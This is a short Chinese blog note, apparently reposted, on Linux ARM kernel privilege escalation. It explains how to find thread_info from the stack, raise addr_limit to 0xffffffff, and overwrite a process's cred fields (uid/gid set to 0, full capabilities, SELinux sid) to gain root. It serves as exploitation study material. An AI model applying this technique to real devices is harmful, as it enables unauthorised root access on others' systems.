内核提权姿势笔记

方法一:

通过寻找进程的thread_info结构,搜索匹配进程的cred结构,并修改其值获得root权限。thread_info(arch arm)结构如下:

   /* Linux/arch/arm/include/asm/thread_info.h*/
   20 #define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER) // THREAF_SIZE=8192

 49 struct thread_info {
 50         unsigned long           flags;          /* low level flags */
 51         int                     preempt_count;  /* 0 => preemptable, <0 => bug */
 52         mm_segment_t            addr_limit;     /* address limit */
 53         struct task_struct      *task;          /* main task structure */
 54         __u32                   cpu;            /* cpu */
 55         __u32                   cpu_domain;     /* cpu domain */
 56         struct cpu_context_save cpu_context;    /* cpu context */
 57         __u32                   syscall;        /* syscall number */
 58         __u8                    used_cp[16];    /* thread used copro */
 59         unsigned long           tp_value[2];    /* TLS registers */
 60 #ifdef CONFIG_CRUNCH
 61         struct crunch_state     crunchstate;
 62 #endif
 63         union fp_state          fpstate __attribute__((aligned(8)));
 64         union vfp_state         vfpstate;
 65 #ifdef CONFIG_ARM_THUMBEE
 66         unsigned long           thumbee_state;  /* ThumbEE Handler Base register */
 67 #endif
 68 };
 69 
 

thread_info保存在栈的最低端,addr_limit表示进程可访问的地址空间,修改为0xffffffff可访问任意内核地址,task_struct保存进程权限值,修改权限值来达到提权的目的;

因为THREAD_SIZE为8192,因此thread_info=栈地址&0xffffe000(~(THREAD_SIZE - 1) = 0xfffe000),以下函数用于获取thread_info地址,其原理就是把esp的最后n(THREAD_SIZE栈大小的位数)位清空,那么就是基地址了,也就是thread_info的值:

static inline struct thread_info *current_thread_info(void) {
    return (struct thread_info *)(current_stack_pointer & ~(THREAD_SIZE - 1));
}

那么根据& addr_limit = * thread_info + 8修改其值为0xffffffff;

内核3.x 在task_struct找不到security成员了,原来是将安全相关的信息剥离到一个叫做 cred 的结构体中,由cred负责保存进程安全上下文。根据task_struct=*(int*)(((int)&v)&0xffffe000)+0xc),找到task_struct结构体//v为内核定义的变量

然后通过thread_info.task_struct -> cred -> secutiry,修改以下值获取root权限:

credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
securitybuf.osid = 1;
securitybuf.sid = 1;
taskbuf.pid = 1;

附:task_struct:http://lxr.linux.no/#linux+v2.6.30.5/include/linux/sched.h#L1117

      cred:http://lxr.linux.no/#linux+v2.6.30.5/include/linux/cred.h#L115

原文地址:https://www.cnblogs.com/Joe-Z/p/5924689.html